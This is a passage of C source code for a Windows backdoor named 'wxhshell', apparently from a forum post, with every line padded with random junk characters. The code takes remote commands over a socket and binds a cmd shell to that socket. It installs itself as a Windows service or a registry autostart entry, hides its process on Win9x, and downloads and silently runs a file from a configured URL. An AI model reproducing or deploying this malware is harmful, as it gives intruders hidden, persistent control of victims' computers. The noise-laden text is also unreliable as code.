  else { ?wCs&tM  
|[LE9Lq/  
    switch(cmd[0]) { Y&GuDLUF  
  m8AAp1=  
  // 帮助 C{&)(#*L  
  case '?': { h'!V8'}O?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #8UseK  
    break; s#P:6]Ar  
  } >3P9 i ;W  
  // 安装 B^Rw?: hN  
  case 'i': { $9j>VGf=  
    if(Install()) N3S,33 8s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n $D}0wSM/  
    else 1FXzAc(c!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e+d6R[`M  
    break; Zu [?'  
    } ;f\R$u-  
  // 卸载 :$X4#k<  
  case 'r': { N9>'/jgZX  
    if(Uninstall()) 5VoOJ_hq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @xW"rX#7f  
    else :yFTaniJ'.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p;c_<>ws-Y  
    break; Qw{\sCH>  
    } I;kUG_c(4  
  // 显示 wxhshell 所在路径 g-{<v4NGI  
  case 'p': { &t9XK8S  
    char svExeFile[MAX_PATH]; D x >1y  
    strcpy(svExeFile,"\n\r"); vo}_%5v8  
      strcat(svExeFile,ExeFile); dwf #~7h_  
        send(wsh,svExeFile,strlen(svExeFile),0); CHdet(_=v  
    break; 4%#V^??E  
    } ]Gi+Z1q  
  // 重启 8g2-8pa{  
  case 'b': { 99+/W*C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tc49Ty9$[  
    if(Boot(REBOOT)) ;?HZ,"^I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _n Iqy&<  
    else { \4`saM /x  
    closesocket(wsh); ^S;RX*  
    ExitThread(0); /Mi-lh^j-  
    } [/fwt!  
    break; 1X!f!0=g+  
    } #G4~]Qml  
  // 关机 0 z'={6,  
  case 'd': { LP m# 3U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CrwcYzrRWl  
    if(Boot(SHUTDOWN)) gQ@Pw4bA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p#8LQP~0$  
    else { [&O:qaD^  
    closesocket(wsh); ,j(p}t  
    ExitThread(0); -R8!"~o  
    } dnWt\>6& 2  
    break; fE7a]R EK  
    } SUnmp  
  // 获取shell ~|B!. +  
  case 's': { >-@{vyoOy  
    CmdShell(wsh); M]/wei"X  
    closesocket(wsh); )hZ}$P1  
    ExitThread(0); c:,{ O 0 #  
    break; DRg ~HT  
  } [, szx1  
  // 退出 $>rfAs!  
  case 'x': { e#eO`bT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VL!kX``^F  
    CloseIt(wsh); U%PMV?L{  
    break; 6x3Ew2  
    } d# ?* 62  
  // 离开 nKa ;FaJ  
  case 'q': { A`U2HC   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \,IDLXqp  
    closesocket(wsh); g:e8i~  
    WSACleanup(); JA(q>>4  
    exit(1); 9(evHR7  
    break; ~x^+OXf!^g  
        } ={D B  
  } & I'F-F;  
  } #FDu 4xi  
3z. >b  
  // 提示信息 %fSk "%u%<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :Y?08/V  
} :7;Iy u  
  } g$+O<a@n  
|0 pBBDw  
  return; XV9'[V  
} =&G|} M  
/(L1!BPP9m  
// shell模块句柄 uRcuy/CY  
int CmdShell(SOCKET sock) S gsR;)2  
{ &aht K}u  
STARTUPINFO si; lVBy&f  
ZeroMemory(&si,sizeof(si)); H.S|njn:r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jQlK-U=oi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .4)P=*  
PROCESS_INFORMATION ProcessInfo; V1V4 <Zj  
char cmdline[]="cmd"; ~SUl,Cs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2F(\}%UT~  
  return 0; 5DBd [u3  
} 8@#Y <{  
!7kOw65+0  
// 自身启动模式 )8>f  
int StartFromService(void) o) ?1`7^BA  
{ sbhEZ#7#  
typedef struct Jg6[/7*m  
{ ]lG\t'R  
  DWORD ExitStatus; ]h8V{%H  
  DWORD PebBaseAddress; $1 \!Oe[i  
  DWORD AffinityMask; 'V{k$}P2  
  DWORD BasePriority; ;lt;]7  
  ULONG UniqueProcessId; No|{rYYKK  
  ULONG InheritedFromUniqueProcessId; U,(+rMeY0  
}   PROCESS_BASIC_INFORMATION; vwD(J.;  
<b40\Z{+  
PROCNTQSIP NtQueryInformationProcess; e-meUf9  
Vjd =F.V+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _n gMC]-T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~PAn _]Z  
7FFYSv,[:  
  HANDLE             hProcess; q|2C>{8  
  PROCESS_BASIC_INFORMATION pbi; >>xV-1h:  
#XPU$=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =Z$6+^L  
  if(NULL == hInst ) return 0; /LzNr0>2  
@/iLC6QF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FX 3[U+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tB7aHZ|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )HE yTHLtJ  
sl 5wX  
  if (!NtQueryInformationProcess) return 0; 9] \vw  
y~[So ,G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1vb0G ;a;|  
  if(!hProcess) return 0; _Pal)re]U  
7 #N @B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iiscm\  
fok#D>q  
  CloseHandle(hProcess); ha 5\T'  
2S/7f:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 39CPFgi<l*  
if(hProcess==NULL) return 0; `r V,<  
Az[z} r4  
HMODULE hMod; V ZGhF!To  
char procName[255]; ZAwl,N){  
unsigned long cbNeeded; ER+[gT1CQ  
&I=q%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m|[ Hhw=f  
fM{Vy])J  
  CloseHandle(hProcess); ?9"glzxr  
?1sY S  
if(strstr(procName,"services")) return 1; // 以服务启动 /_8V+@im  
WYL.J5O  
  return 0; // 注册表启动 !;-x]_  
} XJ+sm^`vOf  
B7;MY6h#  
// 主模块 cW\7yZh  
int StartWxhshell(LPSTR lpCmdLine) KAZz) 7  
{ 3L|k3 `I4  
  SOCKET wsl; 2S3F]fG0  
BOOL val=TRUE; !O*n6}nPE  
  int port=0; |Z;Av%%  
  struct sockaddr_in door; nYY U  
~7v^7;tT  
  if(wscfg.ws_autoins) Install(); H b.oKo$T  
jBM>Pe^`3  
port=atoi(lpCmdLine); _C?K;-v}  
)? xg=o/?  
if(port<=0) port=wscfg.ws_port; 4|qp&%9-  
_" n4SXhq  
  WSADATA data; EifYK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z:}^fZP  
X'Oo ogu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !?96P|G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @)}U\=  
  door.sin_family = AF_INET; lU?"\m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m(Oup=\%b}  
  door.sin_port = htons(port); %2.T1X%!  
$[d}g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9iUw7-)  
closesocket(wsl); IKt9=Tx  
return 1;  Cfi5r|S  
}  F#hM S<  
u^uW<.#z  
  if(listen(wsl,2) == INVALID_SOCKET) { ${?Px c{-  
closesocket(wsl); A /MOY@%G  
return 1; 2:]Sy4K{  
} $8s&=OW  
  Wxhshell(wsl); eWFlJ;=  
  WSACleanup(); XH/|jE.9^|  
(HEjmQjE  
return 0; y Le5,  
,PB?pp8C}  
} .]" o-(gB  
B::vOg77  
// 以NT服务方式启动 hX^XtIC=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !U91  
{ XjV7Ew^7  
DWORD   status = 0; FIuKX"XR  
  DWORD   specificError = 0xfffffff; tIg_cY_y  
>uVG]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; </fzBaTo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3KqylC &.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Aam2Y,B  
  serviceStatus.dwWin32ExitCode     = 0; ]UNmhF!W>u  
  serviceStatus.dwServiceSpecificExitCode = 0; [P<oyd@#  
  serviceStatus.dwCheckPoint       = 0; <fP|<>s$@1  
  serviceStatus.dwWaitHint       = 0; :5dq<>~  
C 9DRVkjj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (h E^<jNR  
  if (hServiceStatusHandle==0) return; CzwnmSv{.  
0s(G*D2%6  
status = GetLastError(); %/4ChKf!VR  
  if (status!=NO_ERROR) At"@`1n_u'  
{ xgfK0-T|[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L9@nx7D  
    serviceStatus.dwCheckPoint       = 0; ^W;\faG  
    serviceStatus.dwWaitHint       = 0; KZ&{Ya  
    serviceStatus.dwWin32ExitCode     = status; [/'W#x  
    serviceStatus.dwServiceSpecificExitCode = specificError; <"6 }C)G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2|m461   
    return; G/b $cO}  
  } h^cM#L^B  
yj-BLR5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )A,M T i  
  serviceStatus.dwCheckPoint       = 0; u`g|u:(r  
  serviceStatus.dwWaitHint       = 0; (V#5Cs,o:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZPRkk?M}.  
} b0t/~]9G  
CnN PziB  
// 处理NT服务事件,比如:启动、停止 ;~F&b:CyG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'V/+v#V+>  
{ Kx7s d i  
switch(fdwControl) YB*I'm3q  
{ x= X"4Mj0)  
case SERVICE_CONTROL_STOP: O(#DaFJv  
  serviceStatus.dwWin32ExitCode = 0; | <gYzb q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4YMX;W  
  serviceStatus.dwCheckPoint   = 0; 'b~,/lZd  
  serviceStatus.dwWaitHint     = 0; <<4U:  
  { VBo=*gn,$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "&W80,O3  
  } m5`<XwD9  
  return; ^\KZE|^3@  
case SERVICE_CONTROL_PAUSE: )H8Rfn?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NSI$uS6  
  break; QY|Rz(;m  
case SERVICE_CONTROL_CONTINUE: n3 y`='D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @~sJ ((G[5  
  break; JS$ojL^  
case SERVICE_CONTROL_INTERROGATE: \SKobO?qI  
  break; )B)e cJJ_  
}; lub_2Cb|j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4MUN1/DId`  
} -c4g;;%  
PUcxlD/a}  
// 标准应用程序主函数 j]P'xrWl]8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2+s#5K&i  
{ *!NxtB!LC  
?sD4S   
// 获取操作系统版本 }2%L 0  
OsIsNt=GetOsVer(); 8n??/VDRl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l]R=I2t  
s_o{w"3X  
  // 从命令行安装 4]G J+a  
  if(strpbrk(lpCmdLine,"iI")) Install(); [8jIu&tJf  
C2 4"H|D  
  // 下载执行文件 u43W.4H13  
if(wscfg.ws_downexe) { 0#Ae<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R`KlG/Tk  
  WinExec(wscfg.ws_filenam,SW_HIDE); \?tE,\Ln  
} /L{V3}[j  
Lo,uH`qU  
if(!OsIsNt) { L%;fYi;n  
// 如果时win9x,隐藏进程并且设置为注册表启动 <c3Te$.  
HideProc(); 2Y>#FEW/  
StartWxhshell(lpCmdLine); B_mT[)ut  
} C&HN#Q_  
else ^|%u%UR  
  if(StartFromService()) d0V*[{  
  // 以服务方式启动 P](/5KrK  
  StartServiceCtrlDispatcher(DispatchTable); <c%  
else YJGP8  
  // 普通方式启动 >=1Aa,_tc  
  StartWxhshell(lpCmdLine); +\-cf,WkI  
[>D5(O  
return 0; (T!#7  
}
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只看该作者 1 发表于: 2006-10-10
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